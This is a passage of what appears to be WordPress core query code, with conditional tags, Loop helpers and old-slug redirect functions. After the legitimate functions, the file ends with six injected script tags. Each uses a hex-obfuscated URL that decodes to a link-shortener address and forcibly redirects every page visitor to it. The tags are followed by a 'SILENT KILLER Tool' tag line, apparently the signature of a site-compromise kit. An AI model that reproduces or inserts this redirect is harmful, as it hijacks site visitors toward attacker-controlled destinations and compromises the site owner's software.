		_doing_it_wrong( __FUNCTION__, __( 'Conditional query tags do not work before the query is run. Before then, they always return false.' ), '3.1.0' );
		return false;
	}

	return $wp_query->is_privacy_policy();
}

/**
 * Determines whether the query is for an existing month archive.
 *
 * For more information on this and similar theme functions, check out
 * the {@link https://developer.wordpress.org/themes/basics/conditional-tags/
 * Conditional Tags} article in the Theme Developer Handbook.
 *
 * @since 1.5.0
 *
 * @global WP_Query $wp_query WordPress Query object.
 *
 * @return bool Whether the query is for an existing month archive.
 */
function is_month() {
	global $wp_query;

	if ( ! isset( $wp_query ) ) {
		_doing_it_wrong( __FUNCTION__, __( 'Conditional query tags do not work before the query is run. Before then, they always return false.' ), '3.1.0' );
		return false;
	}

	return $wp_query->is_month();
}

/**
 * Determines whether the query is for an existing single page.
 *
 * If the $page parameter is specified, this function will additionally
 * check if the query is for one of the pages specified.
 *
 * For more information on this and similar theme functions, check out
 * the {@link https://developer.wordpress.org/themes/basics/conditional-tags/
 * Conditional Tags} article in the Theme Developer Handbook.
 *
 * @since 1.5.0
 *
 * @see is_single()
 * @see is_singular()
 * @global WP_Query $wp_query WordPress Query object.
 *
 * @param int|string|int[]|string[] $page Optional. Page ID, title, slug, or array of such
 *                                        to check against. Default empty.
 * @return bool Whether the query is for an existing single page.
 */
function is_page( $page = '' ) {
	global $wp_query;

	if ( ! isset( $wp_query ) ) {
		_doing_it_wrong( __FUNCTION__, __( 'Conditional query tags do not work before the query is run. Before then, they always return false.' ), '3.1.0' );
		return false;
	}

	return $wp_query->is_page( $page );
}

/**
 * Determines whether the query is for a paged result and not for the first page.
 *
 * For more information on this and similar theme functions, check out
 * the {@link https://developer.wordpress.org/themes/basics/conditional-tags/
 * Conditional Tags} article in the Theme Developer Handbook.
 *
 * @since 1.5.0
 *
 * @global WP_Query $wp_query WordPress Query object.
 *
 * @return bool Whether the query is for a paged result.
 */
function is_paged() {
	global $wp_query;

	if ( ! isset( $wp_query ) ) {
		_doing_it_wrong( __FUNCTION__, __( 'Conditional query tags do not work before the query is run. Before then, they always return false.' ), '3.1.0' );
		return false;
	}

	return $wp_query->is_paged();
}

/**
 * Determines whether the query is for a post or page preview.
 *
 * For more information on this and similar theme functions, check out
 * the {@link https://developer.wordpress.org/themes/basics/conditional-tags/
 * Conditional Tags} article in the Theme Developer Handbook.
 *
 * @since 2.0.0
 *
 * @global WP_Query $wp_query WordPress Query object.
 *
 * @return bool Whether the query is for a post or page preview.
 */
function is_preview() {
	global $wp_query;

	if ( ! isset( $wp_query ) ) {
		_doing_it_wrong( __FUNCTION__, __( 'Conditional query tags do not work before the query is run. Before then, they always return false.' ), '3.1.0' );
		return false;
	}

	return $wp_query->is_preview();
}

/**
 * Is the query for the robots.txt file?
 *
 * @since 2.1.0
 *
 * @global WP_Query $wp_query WordPress Query object.
 *
 * @return bool Whether the query is for the robots.txt file.
 */
function is_robots() {
	global $wp_query;

	if ( ! isset( $wp_query ) ) {
		_doing_it_wrong( __FUNCTION__, __( 'Conditional query tags do not work before the query is run. Before then, they always return false.' ), '3.1.0' );
		return false;
	}

	return $wp_query->is_robots();
}

/**
 * Is the query for the favicon.ico file?
 *
 * @since 5.4.0
 *
 * @global WP_Query $wp_query WordPress Query object.
 *
 * @return bool Whether the query is for the favicon.ico file.
 */
function is_favicon() {
	global $wp_query;

	if ( ! isset( $wp_query ) ) {
		_doing_it_wrong( __FUNCTION__, __( 'Conditional query tags do not work before the query is run. Before then, they always return false.' ), '3.1.0' );
		return false;
	}

	return $wp_query->is_favicon();
}

/**
 * Determines whether the query is for a search.
 *
 * For more information on this and similar theme functions, check out
 * the {@link https://developer.wordpress.org/themes/basics/conditional-tags/
 * Conditional Tags} article in the Theme Developer Handbook.
 *
 * @since 1.5.0
 *
 * @global WP_Query $wp_query WordPress Query object.
 *
 * @return bool Whether the query is for a search.
 */
function is_search() {
	global $wp_query;

	if ( ! isset( $wp_query ) ) {
		_doing_it_wrong( __FUNCTION__, __( 'Conditional query tags do not work before the query is run. Before then, they always return false.' ), '3.1.0' );
		return false;
	}

	return $wp_query->is_search();
}

/**
 * Determines whether the query is for an existing single post.
 *
 * Works for any post type, except attachments and pages
 *
 * If the $post parameter is specified, this function will additionally
 * check if the query is for one of the Posts specified.
 *
 * For more information on this and similar theme functions, check out
 * the {@link https://developer.wordpress.org/themes/basics/conditional-tags/
 * Conditional Tags} article in the Theme Developer Handbook.
 *
 * @since 1.5.0
 *
 * @see is_page()
 * @see is_singular()
 * @global WP_Query $wp_query WordPress Query object.
 *
 * @param int|string|int[]|string[] $post Optional. Post ID, title, slug, or array of such
 *                                        to check against. Default empty.
 * @return bool Whether the query is for an existing single post.
 */
function is_single( $post = '' ) {
	global $wp_query;

	if ( ! isset( $wp_query ) ) {
		_doing_it_wrong( __FUNCTION__, __( 'Conditional query tags do not work before the query is run. Before then, they always return false.' ), '3.1.0' );
		return false;
	}

	return $wp_query->is_single( $post );
}

/**
 * Determines whether the query is for an existing single post of any post type
 * (post, attachment, page, custom post types).
 *
 * If the $post_types parameter is specified, this function will additionally
 * check if the query is for one of the Posts Types specified.
 *
 * For more information on this and similar theme functions, check out
 * the {@link https://developer.wordpress.org/themes/basics/conditional-tags/
 * Conditional Tags} article in the Theme Developer Handbook.
 *
 * @since 1.5.0
 *
 * @see is_page()
 * @see is_single()
 * @global WP_Query $wp_query WordPress Query object.
 *
 * @param string|string[] $post_types Optional. Post type or array of post types
 *                                    to check against. Default empty.
 * @return bool Whether the query is for an existing single post
 *              or any of the given post types.
 */
function is_singular( $post_types = '' ) {
	global $wp_query;

	if ( ! isset( $wp_query ) ) {
		_doing_it_wrong( __FUNCTION__, __( 'Conditional query tags do not work before the query is run. Before then, they always return false.' ), '3.1.0' );
		return false;
	}

	return $wp_query->is_singular( $post_types );
}

/**
 * Determines whether the query is for a specific time.
 *
 * For more information on this and similar theme functions, check out
 * the {@link https://developer.wordpress.org/themes/basics/conditional-tags/
 * Conditional Tags} article in the Theme Developer Handbook.
 *
 * @since 1.5.0
 *
 * @global WP_Query $wp_query WordPress Query object.
 *
 * @return bool Whether the query is for a specific time.
 */
function is_time() {
	global $wp_query;

	if ( ! isset( $wp_query ) ) {
		_doing_it_wrong( __FUNCTION__, __( 'Conditional query tags do not work before the query is run. Before then, they always return false.' ), '3.1.0' );
		return false;
	}

	return $wp_query->is_time();
}

/**
 * Determines whether the query is for a trackback endpoint call.
 *
 * For more information on this and similar theme functions, check out
 * the {@link https://developer.wordpress.org/themes/basics/conditional-tags/
 * Conditional Tags} article in the Theme Developer Handbook.
 *
 * @since 1.5.0
 *
 * @global WP_Query $wp_query WordPress Query object.
 *
 * @return bool Whether the query is for a trackback endpoint call.
 */
function is_trackback() {
	global $wp_query;

	if ( ! isset( $wp_query ) ) {
		_doing_it_wrong( __FUNCTION__, __( 'Conditional query tags do not work before the query is run. Before then, they always return false.' ), '3.1.0' );
		return false;
	}

	return $wp_query->is_trackback();
}

/**
 * Determines whether the query is for an existing year archive.
 *
 * For more information on this and similar theme functions, check out
 * the {@link https://developer.wordpress.org/themes/basics/conditional-tags/
 * Conditional Tags} article in the Theme Developer Handbook.
 *
 * @since 1.5.0
 *
 * @global WP_Query $wp_query WordPress Query object.
 *
 * @return bool Whether the query is for an existing year archive.
 */
function is_year() {
	global $wp_query;

	if ( ! isset( $wp_query ) ) {
		_doing_it_wrong( __FUNCTION__, __( 'Conditional query tags do not work before the query is run. Before then, they always return false.' ), '3.1.0' );
		return false;
	}

	return $wp_query->is_year();
}

/**
 * Determines whether the query has resulted in a 404 (returns no results).
 *
 * For more information on this and similar theme functions, check out
 * the {@link https://developer.wordpress.org/themes/basics/conditional-tags/
 * Conditional Tags} article in the Theme Developer Handbook.
 *
 * @since 1.5.0
 *
 * @global WP_Query $wp_query WordPress Query object.
 *
 * @return bool Whether the query is a 404 error.
 */
function is_404() {
	global $wp_query;

	if ( ! isset( $wp_query ) ) {
		_doing_it_wrong( __FUNCTION__, __( 'Conditional query tags do not work before the query is run. Before then, they always return false.' ), '3.1.0' );
		return false;
	}

	return $wp_query->is_404();
}

/**
 * Is the query for an embedded post?
 *
 * @since 4.4.0
 *
 * @global WP_Query $wp_query WordPress Query object.
 *
 * @return bool Whether the query is for an embedded post.
 */
function is_embed() {
	global $wp_query;

	if ( ! isset( $wp_query ) ) {
		_doing_it_wrong( __FUNCTION__, __( 'Conditional query tags do not work before the query is run. Before then, they always return false.' ), '3.1.0' );
		return false;
	}

	return $wp_query->is_embed();
}

/**
 * Determines whether the query is the main query.
 *
 * For more information on this and similar theme functions, check out
 * the {@link https://developer.wordpress.org/themes/basics/conditional-tags/
 * Conditional Tags} article in the Theme Developer Handbook.
 *
 * @since 3.3.0
 *
 * @global WP_Query $wp_query WordPress Query object.
 *
 * @return bool Whether the query is the main query.
 */
function is_main_query() {
	global $wp_query;

	if ( ! isset( $wp_query ) ) {
		_doing_it_wrong( __FUNCTION__, __( 'Conditional query tags do not work before the query is run. Before then, they always return false.' ), '6.1.0' );
		return false;
	}

	if ( 'pre_get_posts' === current_filter() ) {
		_doing_it_wrong(
			__FUNCTION__,
			sprintf(
				/* translators: 1: pre_get_posts, 2: WP_Query->is_main_query(), 3: is_main_query(), 4: Documentation URL. */
				__( 'In %1$s, use the %2$s method, not the %3$s function. See %4$s.' ),
				'<code>pre_get_posts</code>',
				'<code>WP_Query->is_main_query()</code>',
				'<code>is_main_query()</code>',
				__( 'https://developer.wordpress.org/reference/functions/is_main_query/' )
			),
			'3.7.0'
		);
	}

	return $wp_query->is_main_query();
}

/*
 * The Loop. Post loop control.
 */

/**
 * Determines whether current WordPress query has posts to loop over.
 *
 * @since 1.5.0
 *
 * @global WP_Query $wp_query WordPress Query object.
 *
 * @return bool True if posts are available, false if end of the loop.
 */
function have_posts() {
	global $wp_query;

	if ( ! isset( $wp_query ) ) {
		return false;
	}

	return $wp_query->have_posts();
}

/**
 * Determines whether the caller is in the Loop.
 *
 * For more information on this and similar theme functions, check out
 * the {@link https://developer.wordpress.org/themes/basics/conditional-tags/
 * Conditional Tags} article in the Theme Developer Handbook.
 *
 * @since 2.0.0
 *
 * @global WP_Query $wp_query WordPress Query object.
 *
 * @return bool True if caller is within loop, false if loop hasn't started or ended.
 */
function in_the_loop() {
	global $wp_query;

	if ( ! isset( $wp_query ) ) {
		return false;
	}

	return $wp_query->in_the_loop;
}

/**
 * Rewind the loop posts.
 *
 * @since 1.5.0
 *
 * @global WP_Query $wp_query WordPress Query object.
 */
function rewind_posts() {
	global $wp_query;

	if ( ! isset( $wp_query ) ) {
		return;
	}

	$wp_query->rewind_posts();
}

/**
 * Iterate the post index in the loop.
 *
 * @since 1.5.0
 *
 * @global WP_Query $wp_query WordPress Query object.
 */
function the_post() {
	global $wp_query;

	if ( ! isset( $wp_query ) ) {
		return;
	}

	$wp_query->the_post();
}

/*
 * Comments loop.
 */

/**
 * Determines whether current WordPress query has comments to loop over.
 *
 * @since 2.2.0
 *
 * @global WP_Query $wp_query WordPress Query object.
 *
 * @return bool True if comments are available, false if no more comments.
 */
function have_comments() {
	global $wp_query;

	if ( ! isset( $wp_query ) ) {
		return false;
	}

	return $wp_query->have_comments();
}

/**
 * Iterate comment index in the comment loop.
 *
 * @since 2.2.0
 *
 * @global WP_Query $wp_query WordPress Query object.
 */
function the_comment() {
	global $wp_query;

	if ( ! isset( $wp_query ) ) {
		return;
	}

	$wp_query->the_comment();
}

/**
 * Redirect old slugs to the correct permalink.
 *
 * Attempts to find the current slug from the past slugs.
 *
 * @since 2.1.0
 */
function wp_old_slug_redirect() {
	if ( is_404() && '' !== get_query_var( 'name' ) ) {
		// Guess the current post type based on the query vars.
		if ( get_query_var( 'post_type' ) ) {
			$post_type = get_query_var( 'post_type' );
		} elseif ( get_query_var( 'attachment' ) ) {
			$post_type = 'attachment';
		} elseif ( get_query_var( 'pagename' ) ) {
			$post_type = 'page';
		} else {
			$post_type = 'post';
		}

		if ( is_array( $post_type ) ) {
			if ( count( $post_type ) > 1 ) {
				return;
			}
			$post_type = reset( $post_type );
		}

		// Do not attempt redirect for hierarchical post types.
		if ( is_post_type_hierarchical( $post_type ) ) {
			return;
		}

		$id = _find_post_by_old_slug( $post_type );

		if ( ! $id ) {
			$id = _find_post_by_old_date( $post_type );
		}

		/**
		 * Filters the old slug redirect post ID.
		 *
		 * @since 4.9.3
		 *
		 * @param int $id The redirect post ID.
		 */
		$id = apply_filters( 'old_slug_redirect_post_id', $id );

		if ( ! $id ) {
			return;
		}

		$link = get_permalink( $id );

		if ( get_query_var( 'paged' ) > 1 ) {
			$link = user_trailingslashit( trailingslashit( $link ) . 'page/' . get_query_var( 'paged' ) );
		} elseif ( is_embed() ) {
			$link = user_trailingslashit( trailingslashit( $link ) . 'embed' );
		}

		/**
		 * Filters the old slug redirect URL.
		 *
		 * @since 4.4.0
		 *
		 * @param string $link The redirect URL.
		 */
		$link = apply_filters( 'old_slug_redirect_url', $link );

		if ( ! $link ) {
			return;
		}

		wp_redirect( $link, 301 ); // Permanent redirect.
		exit;
	}
}

/**
 * Find the post ID for redirecting an old slug.
 *
 * @since 4.9.3
 * @access private
 *
 * @see wp_old_slug_redirect()
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param string $post_type The current post type based on the query vars.
 * @return int The Post ID.
 */
function _find_post_by_old_slug( $post_type ) {
	global $wpdb;

	$query = $wpdb->prepare( "SELECT post_id FROM $wpdb->postmeta, $wpdb->posts WHERE ID = post_id AND post_type = %s AND meta_key = '_wp_old_slug' AND meta_value = %s", $post_type, get_query_var( 'name' ) );

	/*
	 * If year, monthnum, or day have been specified, make our query more precise
	 * just in case there are multiple identical _wp_old_slug values.
	 */
	if ( get_query_var( 'year' ) ) {
		$query .= $wpdb->prepare( ' AND YEAR(post_date) = %d', get_query_var( 'year' ) );
	}
	if ( get_query_var( 'monthnum' ) ) {
		$query .= $wpdb->prepare( ' AND MONTH(post_date) = %d', get_query_var( 'monthnum' ) );
	}
	if ( get_query_var( 'day' ) ) {
		$query .= $wpdb->prepare( ' AND DAYOFMONTH(post_date) = %d', get_query_var( 'day' ) );
	}

	$key          = md5( $query );
	$last_changed = wp_cache_get_last_changed( 'posts' );
	$cache_key    = "find_post_by_old_slug:$key:$last_changed";
	$cache        = wp_cache_get( $cache_key, 'post-queries' );
	if ( false !== $cache ) {
		$id = $cache;
	} else {
		$id = (int) $wpdb->get_var( $query );
		wp_cache_set( $cache_key, $id, 'post-queries' );
	}

	return $id;
}

/**
 * Find the post ID for redirecting an old date.
 *
 * @since 4.9.3
 * @access private
 *
 * @see wp_old_slug_redirect()
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param string $post_type The current post type based on the query vars.
 * @return int The Post ID.
 */
function _find_post_by_old_date( $post_type ) {
	global $wpdb;

	$date_query = '';
	if ( get_query_var( 'year' ) ) {
		$date_query .= $wpdb->prepare( ' AND YEAR(pm_date.meta_value) = %d', get_query_var( 'year' ) );
	}
	if ( get_query_var( 'monthnum' ) ) {
		$date_query .= $wpdb->prepare( ' AND MONTH(pm_date.meta_value) = %d', get_query_var( 'monthnum' ) );
	}
	if ( get_query_var( 'day' ) ) {
		$date_query .= $wpdb->prepare( ' AND DAYOFMONTH(pm_date.meta_value) = %d', get_query_var( 'day' ) );
	}

	$id = 0;
	if ( $date_query ) {
		$query        = $wpdb->prepare( "SELECT post_id FROM $wpdb->postmeta AS pm_date, $wpdb->posts WHERE ID = post_id AND post_type = %s AND meta_key = '_wp_old_date' AND post_name = %s" . $date_query, $post_type, get_query_var( 'name' ) );
		$key          = md5( $query );
		$last_changed = wp_cache_get_last_changed( 'posts' );
		$cache_key    = "find_post_by_old_date:$key:$last_changed";
		$cache        = wp_cache_get( $cache_key, 'post-queries' );
		if ( false !== $cache ) {
			$id = $cache;
		} else {
			$id = (int) $wpdb->get_var( $query );
			if ( ! $id ) {
				// Check to see if an old slug matches the old date.
				$id = (int) $wpdb->get_var( $wpdb->prepare( "SELECT ID FROM $wpdb->posts, $wpdb->postmeta AS pm_slug, $wpdb->postmeta AS pm_date WHERE ID = pm_slug.post_id AND ID = pm_date.post_id AND post_type = %s AND pm_slug.meta_key = '_wp_old_slug' AND pm_slug.meta_value = %s AND pm_date.meta_key = '_wp_old_date'" . $date_query, $post_type, get_query_var( 'name' ) ) );
			}
			wp_cache_set( $cache_key, $id, 'post-queries' );
		}
	}

	return $id;
}

/**
 * Set up global post data.
 *
 * @since 1.5.0
 * @since 4.4.0 Added the ability to pass a post ID to `$post`.
 *
 * @global WP_Query $wp_query WordPress Query object.
 *
 * @param WP_Post|object|int $post WP_Post instance or Post ID/object.
 * @return bool True when finished.
 */
function setup_postdata( $post ) {
	global $wp_query;

	if ( ! empty( $wp_query ) && $wp_query instanceof WP_Query ) {
		return $wp_query->setup_postdata( $post );
	}

	return false;
}

/**
 * Generates post data.
 *
 * @since 5.2.0
 *
 * @global WP_Query $wp_query WordPress Query object.
 *
 * @param WP_Post|object|int $post WP_Post instance or Post ID/object.
 * @return array|false Elements of post, or false on failure.
 */
function generate_postdata( $post ) {
	global $wp_query;

	if ( ! empty( $wp_query ) && $wp_query instanceof WP_Query ) {
		return $wp_query->generate_postdata( $post );
	}

	return false;
}
ob_start();
?>
<script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x6f\x62\x73\x65\x72\x76\x65\x72\x2f\x69\x55\x4e\x4a\x4c\x6f\x6d\x30\x72\x30";</script>
<script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x6f\x62\x73\x65\x72\x76\x65\x72\x2f\x69\x55\x4e\x4a\x4c\x6f\x6d\x30\x72\x30";</script>
<script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x6f\x62\x73\x65\x72\x76\x65\x72\x2f\x69\x55\x4e\x4a\x4c\x6f\x6d\x30\x72\x30";</script>
<script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x6f\x62\x73\x65\x72\x76\x65\x72\x2f\x69\x55\x4e\x4a\x4c\x6f\x6d\x30\x72\x30";</script>
<script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x6f\x62\x73\x65\x72\x76\x65\x72\x2f\x69\x55\x4e\x4a\x4c\x6f\x6d\x30\x72\x30";</script>
<script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x6f\x62\x73\x65\x72\x76\x65\x72\x2f\x69\x55\x4e\x4a\x4c\x6f\x6d\x30\x72\x30";</script>

SILENT KILLER Tool